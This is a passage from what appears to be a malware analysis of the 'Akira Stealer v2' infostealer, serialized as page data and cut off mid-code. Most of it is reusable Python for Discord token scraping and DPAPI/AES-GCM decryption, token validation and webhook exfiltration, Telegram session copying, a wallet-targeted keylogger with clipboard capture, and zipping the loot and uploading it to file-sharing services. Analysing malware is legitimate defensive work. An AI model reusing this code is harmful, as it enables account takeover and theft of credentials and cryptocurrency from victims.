(",[1546,13599,13600],{},"*.dat",[1546,13602,13603],{},"*.json","), private key exports, wallet configuration and transaction history.",[2736,13606,13607,13610],{},[1732,13608,13609],{},"Benefit",": Offline wallet contents usable by the attacker to authorize transactions.",[1667,13612,13614],{"id":13613},"_783-discord-token-harvest","7.8.3 Discord Token Harvest",[806,13616,1673],{},[806,13618,13619],{},"Discord tokens are authentication artifacts—essentially long-lived bearer tokens—that can grant full access to a user’s account without requiring their credentials or MFA. Akira exploits this by scanning browser and app data folders for tokens stored by various Discord clients, including Discord Stable, Canary, PTB (Public Test Build), and even modified forks like Lightcord.",[806,13621,13622],{},"The technique targets LevelDB files under the application's Local Storage, where authentication tokens often remain in plaintext. Using regular expressions, the malware scans these .log and .ldb files for patterns that match either regular user tokens or MFA-enabled tokens.",[806,13624,13625],{},"To increase reliability and reduce noise, Akira includes a validation step: it sends a test request to Discord’s /users/@me endpoint using each harvested token. Only tokens that successfully authenticate (HTTP 200) are exfiltrated via webhook—typically to a Discord channel under attacker control.",[806,13627,13628],{},"This method allows attackers to hijack Discord accounts in real time, impersonate the victim, scrape DMs and guilds, or deploy further malware through social engineering—all without triggering login alerts.",[1540,13630,13632],{"className":10008,"code":13631,"language":10010,"meta":863,"style":863},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[1546,13633,13634,13639,13644,13649,13654,13658,13663,13668,13673,13678,13683,13688,13693,13698,13703,13708,13713,13718,13723],{"__ignoreMap":863},[1584,13635,13636],{"class":1586,"line":1587},[1584,13637,13638],{},"import re, requests\n",[1584,13640,13641],{"class":1586,"line":864},[1584,13642,13643],{},"patterns = [\n",[1584,13645,13646],{"class":1586,"line":1810},[1584,13647,13648],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1584,13650,13651],{"class":1586,"line":1827},[1584,13652,13653],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1584,13655,13656],{"class":1586,"line":2131},[1584,13657,13440],{},[1584,13659,13660],{"class":1586,"line":2137},[1584,13661,13662],{},"def harvest_discord(base, webhook_url):\n",[1584,13664,13665],{"class":1586,"line":2143},[1584,13666,13667],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1584,13669,13670],{"class":1586,"line":2149},[1584,13671,13672],{},"    for file in os.listdir(db_dir):\n",[1584,13674,13675],{"class":1586,"line":2155},[1584,13676,13677],{},"        if file.endswith(('.log', '.ldb')):\n",[1584,13679,13680],{"class":1586,"line":2161},[1584,13681,13682],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1584,13684,13685],{"class":1586,"line":10546},[1584,13686,13687],{},"                for pat in patterns:\n",[1584,13689,13690],{"class":1586,"line":10552},[1584,13691,13692],{},"                    for token in re.findall(pat, line):\n",[1584,13694,13695],{"class":1586,"line":10558},[1584,13696,13697],{},"                        # Verify token\n",[1584,13699,13700],{"class":1586,"line":10564},[1584,13701,13702],{},"                        h = {\"Authorization\": token}\n",[1584,13704,13705],{"class":1586,"line":10570},[1584,13706,13707],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1584,13709,13710],{"class":1586,"line":10576},[1584,13711,13712],{},"                        if r.status_code == 200:\n",[1584,13714,13715],{"class":1586,"line":10582},[1584,13716,13717],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1584,13719,13720],{"class":1586,"line":10588},[1584,13721,13722],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1584,13724,13725],{"class":1586,"line":10594},[1584,13726,13727],{},"                            requests.post(webhook_url, json=payload)\n",[2733,13729,13730],{},[2736,13731,13732,13735],{},[1732,13733,13734],{},"Validation",": Only posts valid tokens, preventing stale JWTs from being sent.",[1667,13737,13739],{"id":13738},"_784-telegram-session-files","7.8.4 Telegram Session Files",[806,13741,1673],{},[806,13743,13744,13746],{},[1732,13745,13364],{}," Telegram Desktop/TData",[1540,13748,13750],{"className":10008,"code":13749,"language":10010,"meta":863,"style":863},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[1546,13751,13752,13757,13762,13767,13772,13777],{"__ignoreMap":863},[1584,13753,13754],{"class":1586,"line":1587},[1584,13755,13756],{},"def steal_telegram(tdata_path, dest_root):\n",[1584,13758,13759],{"class":1586,"line":864},[1584,13760,13761],{},"    if os.path.exists(tdata_path):\n",[1584,13763,13764],{"class":1586,"line":1810},[1584,13765,13766],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1584,13768,13769],{"class":1586,"line":1827},[1584,13770,13771],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1584,13773,13774],{"class":1586,"line":2131},[1584,13775,13776],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1584,13778,13779],{"class":1586,"line":2137},[1584,13780,13781],{},"        data.has_telegram = True\n",[2733,13783,13784,13797],{},[2736,13785,13786,2540,13789,13792,13793,13796],{},[1732,13787,13788],{},"Files",[1546,13790,13791],{},"tdata"," folder containing session keys, ",[1546,13794,13795],{},"D877F..."," folder with secret/unsecret files.",[2736,13798,13799,13802],{},[1732,13800,13801],{},"Use",": Load into attacker’s Telegram client for full account access.",[1667,13804,13806],{"id":13805},"_785-live-wallet-keylogging","7.8.5 Live Wallet Keylogging",[806,13808,1673],{},[806,13810,13811],{},"Cryptocurrency wallets are prime targets for modern info-stealers. Akira includes a live keylogger tailored specifically to steal wallet credentials such as seed phrases, private keys, and passwords at the moment of entry. Unlike generic keyloggers, this one activates only when a known wallet window is detected, dramatically reducing noise and increasing efficiency.",[806,13813,13814],{},"The module monitors active window titles and compares them against a hardcoded list of popular wallet apps like MetaMask, Phantom, Atomic Wallet, and others. Once a matching window is in focus, it begins recording keystrokes via system-wide keyboard hooks. When the user presses Enter, the module immediately captures the current clipboard contents—knowing that users often copy secrets during wallet setup or login—and sends both the typed input and clipboard data to the attacker's webhook. This approach is extremely effective because it combines two attack vectors:",[2733,13816,13817,13820],{},[2736,13818,13819],{},"Context-aware keylogging, to capture sensitive wallet inputs only when relevant.",[2736,13821,13822],{},"Clipboard hijacking, to extract copied recovery phrases or destination addresses before they’re pasted.",[806,13824,13825],{},"Together, these methods allow attackers to silently compromise wallets in real time, even without browser access or file exfiltration.",[1540,13827,13829],{"className":10008,"code":13828,"language":10010,"meta":863,"style":863},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[1546,13830,13831,13836,13840,13845,13850,13855,13860,13865,13869,13874,13879,13884,13889,13894,13899,13904,13909],{"__ignoreMap":863},[1584,13832,13833],{"class":1586,"line":1587},[1584,13834,13835],{},"import keyboard, pyperclip\n",[1584,13837,13838],{"class":1586,"line":864},[1584,13839,9372],{"emptyLinePlaceholder":508},[1584,13841,13842],{"class":1586,"line":1810},[1584,13843,13844],{},"class WalletKeylogger:\n",[1584,13846,13847],{"class":1586,"line":1827},[1584,13848,13849],{},"    def __init__(self, wallet_titles):\n",[1584,13851,13852],{"class":1586,"line":2131},[1584,13853,13854],{},"        self.buf = \"\"\n",[1584,13856,13857],{"class":1586,"line":2137},[1584,13858,13859],{},"        keyboard.on_release(self.capture)\n",[1584,13861,13862],{"class":1586,"line":2143},[1584,13863,13864],{},"        self.wallet_titles = wallet_titles\n",[1584,13866,13867],{"class":1586,"line":2149},[1584,13868,9372],{"emptyLinePlaceholder":508},[1584,13870,13871],{"class":1586,"line":2155},[1584,13872,13873],{},"    def capture(self, event):\n",[1584,13875,13876],{"class":1586,"line":2161},[1584,13877,13878],{},"        title = pygetwindow.getActiveWindow().title\n",[1584,13880,13881],{"class":1586,"line":10546},[1584,13882,13883],{},"        if any(w in title for w in self.wallet_titles):\n",[1584,13885,13886],{"class":1586,"line":10552},[1584,13887,13888],{},"            if event.name == 'enter':\n",[1584,13890,13891],{"class":1586,"line":10558},[1584,13892,13893],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1584,13895,13896],{"class":1586,"line":10564},[1584,13897,13898],{},"                send_to_webhook(data)\n",[1584,13900,13901],{"class":1586,"line":10570},[1584,13902,13903],{},"                self.buf = \"\"\n",[1584,13905,13906],{"class":1586,"line":10576},[1584,13907,13908],{},"            else:\n",[1584,13910,13911],{"class":1586,"line":10582},[1584,13912,13913],{},"                self.buf += event.name\n",[2733,13915,13916,13922],{},[2736,13917,13918,13921],{},[1732,13919,13920],{},"Trigger list",": Window titles including “MetaMask”, “Phantom”, “Atomic Wallet”, etc.",[2736,13923,13924,13927],{},[1732,13925,13926],{},"Clipboard",": Captures copied seeds or private keys.",[1667,13929,13931],{"id":13930},"_786-packaging-exfiltration","7.8.6 Packaging & Exfiltration",[806,13933,1673],{},[806,13935,13936],{},"After collecting browser data, credentials, wallet information, and tokens, Akira proceeds to consolidate and exfiltrate the loot in a highly automated and stealthy manner. This stage marks the final step in the infection chain, and it’s optimized for reliability and minimal forensic footprint. First, all collected data—including browser dumps, logs, and keylogged wallet information—is compressed into a ZIP archive. This ensures the full dataset can be transferred as a single payload. The archive is then uploaded to multiple public file-sharing services such as GoFile, File.io, or Oshi.at, depending on availability. These platforms provide anonymous, temporary hosting, and are often used to bypass corporate firewalls or reputation-based blocking. A structured report is simultaneously generated and sent to the attacker via a Discord or Telegram webhook. It includes summary statistics—how many wallets were found, how many tokens were valid, and a direct link to the stolen data. This gives attackers a quick overview of the target’s value without opening the archive.",[806,13938,13939],{},"Finally, the malware deletes the temporary folder and the archive from disk, effectively removing local forensic evidence. By the time a defender discovers the infection, the data is already gone—and often irretrievable.",[1540,13941,13943],{"className":10008,"code":13942,"language":10010,"meta":863,"style":863},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[1546,13944,13945,13950,13955,13960,13965,13970,13975,13980,13985,13990,13995,14000,14005,14010,14015,14019,14024,14029],{"__ignoreMap":863},[1584,13946,13947],{"class":1586,"line":1587},[1584,13948,13949],{},"# 1) ZIP everything (including Wallets folder)\n",[1584,13951,13952],{"class":1586,"line":864},[1584,13953,13954],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1584,13956,13957],{"class":1586,"line":1810},[1584,13958,13959],{},"# 2) Attempt upload to primary & fallback services\n",[1584,13961,13962],{"class":1586,"line":1827},[1584,13963,13964],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1584,13966,13967],{"class":1586,"line":2131},[1584,13968,13969],{},"# 3) Report summary\n",[1584,13971,13972],{"class":1586,"line":2137},[1584,13973,13974],{},"embed = {\n",[1584,13976,13977],{"class":1586,"line":2143},[1584,13978,13979],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1584,13981,13982],{"class":1586,"line":2149},[1584,13983,13984],{},"    \"fields\": [\n",[1584,13986,13987],{"class":1586,"line":2155},[1584,13988,13989],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1584,13991,13992],{"class":1586,"line":2161},[1584,13993,13994],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1584,13996,13997],{"class":1586,"line":10546},[1584,13998,13999],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1584,14001,14002],{"class":1586,"line":10552},[1584,14003,14004],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1584,14006,14007],{"class":1586,"line":10558},[1584,14008,14009],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1584,14011,14012],{"class":1586,"line":10564},[1584,14013,14014],{},"    ]\n",[1584,14016,14017],{"class":1586,"line":10570},[1584,14018,7938],{},[1584,14020,14021],{"class":1586,"line":10576},[1584,14022,14023],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1584,14025,14026],{"class":1586,"line":10582},[1584,14027,14028],{},"# 4) Cleanup local folder & ZIP\n",[1584,14030,14031],{"class":1586,"line":10588},[1584,14032,13215],{},[810,14034,14036,14037,2767],{"id":14035},"_79-discord-and-telegram-token-theft-class-discord","7.9. Discord and Telegram Token Theft (Class: ",[1546,14038,6868],{},[806,14040,1531],{},[806,14042,14043,14044,14046],{},"Akira Stealer v2’s ",[1732,14045,6868],{}," class executes a highly parallelized, multi-stage process to harvest both Discord authorization tokens and Telegram session data. Below, we dissect each component with precise code references and illustrative examples.",[1667,14048,14050],{"id":14049},"_791-initialization-path-enumeration","7.9.1 Initialization & Path Enumeration",[806,14052,1673],{},[806,14054,14055],{},"Upon instantiation, the constructor builds two sets of target paths:",[1540,14057,14059],{"className":10008,"code":14058,"language":10010,"meta":863,"style":863},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[1546,14060,14061,14066,14071,14076,14081,14085,14089,14093,14098,14103,14108,14113,14117],{"__ignoreMap":863},[1584,14062,14063],{"class":1586,"line":1587},[1584,14064,14065],{},"# Discord client LevelDB directories\n",[1584,14067,14068],{"class":1586,"line":864},[1584,14069,14070],{},"discord_paths = [\n",[1584,14072,14073],{"class":1586,"line":1810},[1584,14074,14075],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1584,14077,14078],{"class":1586,"line":1827},[1584,14079,14080],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1584,14082,14083],{"class":1586,"line":2131},[1584,14084,9362],{},[1584,14086,14087],{"class":1586,"line":2137},[1584,14088,13440],{},[1584,14090,14091],{"class":1586,"line":2143},[1584,14092,9372],{"emptyLinePlaceholder":508},[1584,14094,14095],{"class":1586,"line":2149},[1584,14096,14097],{},"# Chromium-based browser LevelDB directories\n",[1584,14099,14100],{"class":1586,"line":2155},[1584,14101,14102],{},"browserPaths = [\n",[1584,14104,14105],{"class":1586,"line":2161},[1584,14106,14107],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1584,14109,14110],{"class":1586,"line":10546},[1584,14111,14112],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1584,14114,14115],{"class":1586,"line":10552},[1584,14116,9362],{},[1584,14118,14119],{"class":1586,"line":10558},[1584,14120,13440],{},[2733,14122,14123,14132],{},[2736,14124,14125,14128,14129,2491],{},[1732,14126,14127],{},"Discord Paths"," target official and unofficial Discord clients under ",[1546,14130,14131],{},"%APPDATA%",[2736,14133,14134,14137],{},[1732,14135,14136],{},"Browser Paths"," cover popular browsers’ user data folders, including subfolders for local storage and extensions.",[806,14139,14140],{},"Threads are spawned for each entry:",[1540,14142,14144],{"className":10008,"code":14143,"language":10010,"meta":863,"style":863},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[1546,14145,14146,14151,14156,14161,14166,14171],{"__ignoreMap":863},[1584,14147,14148],{"class":1586,"line":1587},[1584,14149,14150],{},"for patt in browserPaths:\n",[1584,14152,14153],{"class":1586,"line":864},[1584,14154,14155],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1584,14157,14158],{"class":1586,"line":1810},[1584,14159,14160],{},"    t.start()\n",[1584,14162,14163],{"class":1586,"line":1827},[1584,14164,14165],{},"for patt in discord_paths:\n",[1584,14167,14168],{"class":1586,"line":2131},[1584,14169,14170],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1584,14172,14173],{"class":1586,"line":2137},[1584,14174,14160],{},[806,14176,14177],{},"This threading model maximizes I/O throughput, probing dozens of directories concurrently.",[1667,14179,14181],{"id":14180},"_792-token-extraction-logic","7.9.2 Token Extraction Logic",[806,14183,1673],{},[806,14185,14186],{},[1732,14187,14188],{},"Plaintext Token Scraping from Browsers",[806,14190,14191,14194,14195,835,14198,14201],{},[1546,14192,14193],{},"get_btoken(path, arg)"," navigates to each LevelDB folder and inspects ",[1546,14196,14197],{},".log",[1546,14199,14200],{},".ldb"," files:",[1540,14203,14205],{"className":10008,"code":14204,"language":10010,"meta":863,"style":863},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[1546,14206,14207,14212,14217,14222,14227,14232,14237,14242],{"__ignoreMap":863},[1584,14208,14209],{"class":1586,"line":1587},[1584,14210,14211],{},"for file in os.listdir(path + arg):\n",[1584,14213,14214],{"class":1586,"line":864},[1584,14215,14216],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1584,14218,14219],{"class":1586,"line":1810},[1584,14220,14221],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1584,14223,14224],{"class":1586,"line":1827},[1584,14225,14226],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1584,14228,14229],{"class":1586,"line":2131},[1584,14230,14231],{},"                tokens = re.findall(regex, line)\n",[1584,14233,14234],{"class":1586,"line":2137},[1584,14235,14236],{},"                for token in tokens:\n",[1584,14238,14239],{"class":1586,"line":2143},[1584,14240,14241],{},"                    self.tokens.append(token)\n",[1584,14243,14244],{"class":1586,"line":2149},[1584,14245,14246],{},"                    self.cehckToken(token)\n",[2733,14248,14249,14258,14266],{},[2736,14250,14251,14257],{},[1732,14252,14253,14254],{},"Regex ",[1546,14255,14256],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," matches standard Discord tokens.",[2736,14259,14260,14265],{},[1732,14261,14253,14262],{},[1546,14263,14264],{},"mfa\\.[\\w-]{80,95}"," captures MFA tokens.",[2736,14267,14268,14269,14272],{},"Deduplication is implicit: tokens stored in ",[1546,14270,14271],{},"self.tokens"," before validation.",[806,14274,14275],{},[1732,14276,14277],{},"Encrypted Token Decryption in Discord Client",[806,14279,14280,14281,3363,14283,14285,14286,14289],{},"Discord’s client encrypts Local Storage entries under DPAPI, prefaced by ",[1546,14282,12018],{},[1546,14284,12021],{},". ",[1546,14287,14288],{},"get_discord(path, arg)"," handles this:",[1540,14291,14293],{"className":10008,"code":14292,"language":10010,"meta":863,"style":863},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[1546,14294,14295,14300,14305,14309,14314,14319,14323,14328,14332,14336,14341,14346,14351,14356,14361],{"__ignoreMap":863},[1584,14296,14297],{"class":1586,"line":1587},[1584,14298,14299],{},"# Read Local State to obtain encrypted master key\n",[1584,14301,14302],{"class":1586,"line":864},[1584,14303,14304],{},"with open(path + \"/Local State\", 'r') as f:\n",[1584,14306,14307],{"class":1586,"line":1810},[1584,14308,12616],{},[1584,14310,14311],{"class":1586,"line":1827},[1584,14312,14313],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1584,14315,14316],{"class":1586,"line":2131},[1584,14317,14318],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1584,14320,14321],{"class":1586,"line":2137},[1584,14322,9372],{"emptyLinePlaceholder":508},[1584,14324,14325],{"class":1586,"line":2143},[1584,14326,14327],{},"# Iterate LevelDB files for Base64 payloads\n",[1584,14329,14330],{"class":1586,"line":2149},[1584,14331,14211],{},[1584,14333,14334],{"class":1586,"line":2155},[1584,14335,14216],{},[1584,14337,14338],{"class":1586,"line":2161},[1584,14339,14340],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1584,14342,14343],{"class":1586,"line":10546},[1584,14344,14345],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1584,14347,14348],{"class":1586,"line":10552},[1584,14349,14350],{},"                ciphertext = b64decode(token_part)\n",[1584,14352,14353],{"class":1586,"line":10558},[1584,14354,14355],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1584,14357,14358],{"class":1586,"line":10564},[1584,14359,14360],{},"                self.tokens.append(token)\n",[1584,14362,14363],{"class":1586,"line":10570},[1584,14364,14365],{},"                self.cehckToken(token)\n",[2733,14367,14368,14377],{},[2736,14369,14370,14373,14374,14376],{},[1732,14371,14372],{},"Master Key Recovery",": Strips the 5-byte DPAPI header, then calls ",[1546,14375,12682],{}," (wrapping Windows DPAPI) to decrypt the AES-GCM key.",[2736,14378,14379,14382,14383,14386,14387,14390,14391],{},[1732,14380,14381],{},"Payload Parsing",": Tokens are prefixed with ",[1546,14384,14385],{},"dQw4w9WgXcQ:"," (an attacker-chosen marker). After Base64 decoding, ",[1546,14388,14389],{},"decrypt_value()"," splits IV and ciphertext:",[1540,14392,14394],{"className":10008,"code":14393,"language":10010,"meta":863,"style":863},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[1546,14395,14396,14401,14406,14411,14416],{"__ignoreMap":863},[1584,14397,14398],{"class":1586,"line":1587},[1584,14399,14400],{},"def decrypt\\_value(buff, master\\_key):\n",[1584,14402,14403],{"class":1586,"line":864},[1584,14404,14405],{},"iv = buff\\[3:15]\n",[1584,14407,14408],{"class":1586,"line":1810},[1584,14409,14410],{},"payload = buff\\[15:]\n",[1584,14412,14413],{"class":1586,"line":1827},[1584,14414,14415],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1584,14417,14418],{"class":1586,"line":2131},[1584,14419,14420],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[1667,14422,14424],{"id":14423},"_793-token-validation-exfiltration","7.9.3 Token Validation & Exfiltration",[806,14426,1673],{},[806,14428,14429],{},"Each extracted token is validated via live API call:",[1540,14431,14434],{"className":14432,"code":14433,"language":917},[1543],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[1546,14435,14433],{"__ignoreMap":863},[2733,14437,14438],{},[2736,14439,14440,2285,14443,14446,14447,14450,14451],{},[1732,14441,14442],{},"On success",[1546,14444,14445],{},"cehckToken()"," determines whether to send via Telegram (",[1546,14448,14449],{},"useTg=True",") or Discord webhook:",[1540,14452,14454],{"className":10008,"code":14453,"language":10010,"meta":863,"style":863},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[1546,14455,14456,14461,14466,14471],{"__ignoreMap":863},[1584,14457,14458],{"class":1586,"line":1587},[1584,14459,14460],{},"if useTg:\n",[1584,14462,14463],{"class":1586,"line":864},[1584,14464,14465],{},"self.sendTokenTg(token)\n",[1584,14467,14468],{"class":1586,"line":1810},[1584,14469,14470],{},"else:\n",[1584,14472,14473],{"class":1586,"line":1827},[1584,14474,14475],{},"self.send\\_embed(token)\n",[2733,14477,14478],{},[2736,14479,14480,14485],{},[1732,14481,14482],{},[1546,14483,14484],{},"send_embed"," crafts a rich Discord embed containing user metadata (username, discriminator, email, Nitro status, billing info) using fields from",[1540,14487,14490],{"className":14488,"code":14489,"language":917},[1543],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[1546,14491,14489],{"__ignoreMap":863},[2733,14493,14494],{},[2736,14495,14496,14501],{},[1732,14497,14498],{},[1546,14499,14500],{},"sendTokenTg"," sends a plain-text summary over Telegram API.",[1667,14503,14505],{"id":14504},"_794-telegram-session-harvesting","7.9.4 Telegram Session Harvesting",[806,14507,1673],{},[806,14509,14510],{},"Beyond Discord tokens, the stealer grabs Telegram Desktop sessions:",[1540,14512,14514],{"className":10008,"code":14513,"language":10010,"meta":863,"style":863},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[1546,14515,14516,14520,14525,14530,14535],{"__ignoreMap":863},[1584,14517,14518],{"class":1586,"line":1587},[1584,14519,10498],{},[1584,14521,14522],{"class":1586,"line":864},[1584,14523,14524],{},"def steal_telegram():\n",[1584,14526,14527],{"class":1586,"line":1810},[1584,14528,14529],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1584,14531,14532],{"class":1586,"line":1827},[1584,14533,14534],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1584,14536,14537],{"class":1586,"line":2131},[1584,14538,14539],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[2733,14541,14542,14548,14557],{},[2736,14543,14544,14547],{},[1732,14545,14546],{},"Process Termination",": Ensures file locks are released.",[2736,14549,14550,14553,14554,14556],{},[1732,14551,14552],{},"Recursive Copy",": Steals ",[1546,14555,13791],{}," folder, including user sessions, contacts, and cached messages.",[2736,14558,14559,14561,14562,14565],{},[1732,14560,6884],{},": The stolen folder is zipped and uploaded via ",[1546,14563,14564],{},"sendFilesTG()",", with the download link embedded in a Telegram message.",[806,14567,14568,14569,14571],{},"Akira Stealer’s ",[1546,14570,6868],{}," module combines regex-based scraping, DPAPI-backed AES-GCM decryption, live API validation, and multi-protocol exfiltration (webhook + Telegram) to deliver a seamless account takeover capability across both Discord and Telegram platforms.",[810,14573,14575],{"id":14574},"_710-system-profiling","7.10 System Profiling",[806,14577,1531],{},[806,14579,14580,14581,14584],{},"Akira Stealer v2 incorporates an extensive system profiling phase to gather host metadata, environment attributes, and network details. This information is collated in the ",[1546,14582,14583],{},"Data"," class and later packaged with exfiltrated credentials. Below, we break down the profiling logic with direct code references.",[1667,14586,14588,14589,14591],{"id":14587},"_7101-data-class-initialization","7.10.1 ",[1546,14590,14583],{}," Class Initialization",[806,14593,1673],{},[806,14595,14596,14597,14599],{},"On startup, an instance of ",[1546,14598,14583],{}," is created:",[1540,14601,14603],{"className":10008,"code":14602,"language":10010,"meta":863,"style":863},"class Data:\n    def __init__(self):\n        self.username = 